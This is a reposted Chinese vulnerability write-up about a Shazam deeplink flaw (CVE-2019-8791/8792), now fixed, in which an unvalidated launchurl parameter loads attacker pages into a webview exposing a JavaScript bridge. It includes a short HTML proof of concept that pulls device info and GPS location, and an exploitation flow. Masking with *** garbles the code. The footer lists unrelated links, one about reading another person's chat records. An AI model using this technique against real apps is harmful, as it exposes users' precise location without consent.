挖洞经验 | 用一条URL链接获取Shazam用户地理位置

访客3年前关于黑客接单867

本文中,作者通过发现Shazam应用APP深度链接(deeplink)运行机制中存在的一个漏洞,利用其中的开放重定向和js接口安全问题,可实现对Shazam应用APP用户的特定信息获取。Shazam是苹果公司旗下软件,其应用能根据取样片段识别出对应的歌曲、电影、广告和电视节目(听音识曲),该应用可支持Windows、macOS和智能手机。

漏洞说明

2018年底,我发现了Shazam应用APP的一个漏洞,攻击者可以构造一个URL链接让受害者执行点击,即可获取到受害者的精确地理位置。该漏洞影响非常严重,将近1亿Shazam用户受此影响,攻击者利用漏洞构造的一条链接,在受害者点击之后,除可获取受害者的精确地理位置之外,还能实现对受害者手机设备某些特定功能的访问。其实,经过进一步的精心设计,该漏洞完全可以形成一个“零点击漏洞”(zero click vulnerability),但苹果和谷歌却根据他们的众测规定拒绝了该漏洞,可是,漏洞最终却被修复了。

我当时给Shazam安全团队上报漏洞的时间是2018年12月(即Shazam被苹果收购的三个月后),我被引导直接向security@apple.com进行漏洞情况上报,经过一番协调反复,漏洞最终于2019年3月26日修复。之后,又经过8个月,苹果才认定该漏洞有效,但却声称该漏洞不在他们的众测规定范围内,不予支付漏洞赏金。另外,Google Play应用商店安全项目也回复我说该漏洞中泄露的用户数据影响不大,不予奖励。

该漏洞最终给予的漏洞编号为CVE-2019-8791和CVE-2019-8792,影响Android 和 iOS手机上的Shazam应用。CVE-2019-8791的官方描述是:Shazam APP在URL解析时存在问题,攻击者可以通过构造特定URL链接实现开放重定向(open redirect);CVE-2019-8792的官方描述是:攻击者可以通过构造特定URL链接实现任意 *** 代码执行。

漏洞情况

Shazam在整个APP应用中用到了深层链接deeplink作为导航操作,我发现了一个特殊的导出深层链接,它负责在webview控件中加载网站,该深层链接无需对其参数数值进行验证,允许嵌入外部资源。而且,它其中的webview控件包含了一些js接口,通过这些js接口可与Android 或 iOS 手机API通信,从而检索出用户手机中包含地理数据在内的一些特定信息内容。

该深层链接样式为shazam://launchurl?url=,其中的url参数可以是一个网站或是一个js格式脚本。一旦其中的webview控件加载后,Shazam APP将会附加运行一个名为WebViewJavascriptBridge的js接口,该接口可通过窗口对象访问到。

经对Shazam APP反编译,并分析了其中的js接口,我发现了两个 *** 函数setMessageHandler 和 sendMessage。可以通过重写setMessageHandler函数,捕获到通过sendMessage函数发出请求的响应。setMessageHandler函数包含了type 和 data两个参数组成的 *** ON对象。经过一番研究测试,我很快写出了一段POC代码:

<html>
? <script>
? ? ? ? window.WebViewJavascriptBridge.setMessageHandler(function(e) {
? ? ? ? ? alert( *** ON.stringify(e));
? ? ? ? })
? </script>

? <button onclick="window.WebViewJavascriptBridge.sendMessage( *** ON.stringify({type:'aboutBridge',data:{}}));">Device Info</button>

? <br><br>

? <button onclick="window.WebViewJavascriptBridge.sendMessage( *** ON.stringify({type:'location',data:{}}));">GPS</button><br><br>
</html>

漏洞利用流程

1、攻击者向受害者发送构造好的URL链接;
2、受害者点击链接并加载打开了Shazam APP应用;
3、Shazam APP应用加载webview控件并执行攻击者嵌入的Payload;
4、受害者地理位置等其它信息即被攻击者窃取,发送到攻击者控制的服务器中。

漏洞影响

通过简单的URL链接构造,攻击者即可利用Shazam APP应用隐蔽简单地窃取受害者相关信息。对恶意攻击者或正义执法者来说,该漏洞不失为一个好的利用手段。但对用户来说,这却是涉及到上亿用户的隐私问题,因此,我选择了漏洞上报,但遗憾的是最终却不符合他们所谓的众测范围和规定,无所谓了,修复就好,我将继续深挖研究。

参考来源:ash-king

相关文章

怎么才能对方和别人的聊天记录

在孩子生病的时候很多的家长都会选择给孩子吃药,但是吃药是痛苦的,没有人愿意吃药啊。因此很多的家长选择强灌让孩子吃药,宝宝抵抗力较弱,经常会生病吃药,而宝宝喂药难引发的妈妈强行喂药的错误方式却令宝宝危害...

php是什么格式文件(电脑上php格式文件怎么打开

php是什么格式文件(电脑上php格式文件怎么打开

本篇文章扣丁学堂小编给大家分享一下PHP格式文件打开的方法有哪些,文章中会有详细的方法与代码列出,喜欢PHP开发技术的小伙伴可以随着小编一起来了解下。 PHP培训 php文件格式怎么打开?要搞...

淘宝怎么卖东西(淘宝免费开店后怎么卖东西)

淘宝怎么卖东西(淘宝免费开店后怎么卖东西)

现在创业风险非常大。这次疫情过后,人们习惯都会在网上消费购物。所以在网上投资才是发展的方向。 淘宝新推出来一款APP,让普通人都能开店的,淘宝店小铺。这个非常适合小白开店创业。 小铺是一款轻松创业赚钱...

什么是社交恐惧症(社交恐惧症有哪些表现)

什么是社交恐惧症(社交恐惧症有哪些表现)

什么是社交恐惧的表现?患有社交恐惧的人群并不在少数,社交恐惧的程度因人而异,所以有些人并不认为自己是社交恐惧,而只是不喜欢和不熟的人聊天而已。下面就来说说社交恐惧症的详细表现,不如自己测试一下吧!...

按摩垫什么牌子好,推荐10大靠谱的品牌

按摩垫什么牌子好,推荐10大靠谱的品牌

随着科学技术的发展,智能设备也不断更新迭代,例如按摩设备这一领域,从传统的定点按摩已经逐步演变为移动按摩,从前消费者只能在家里或者店里体验定点按摩,现在无论在商场甚至是大巴/出租车上同样也可以享受到按...

男士祛痘洗面奶排名推荐

各位小伙伴们是不是经常因为脸上长痘而忧愁,又因为找不到好用的洗面奶而烦恼不已?不用怕,今天小编就给大家带来了男士祛痘洗面奶排名!这下再也不用怕长痘啦~...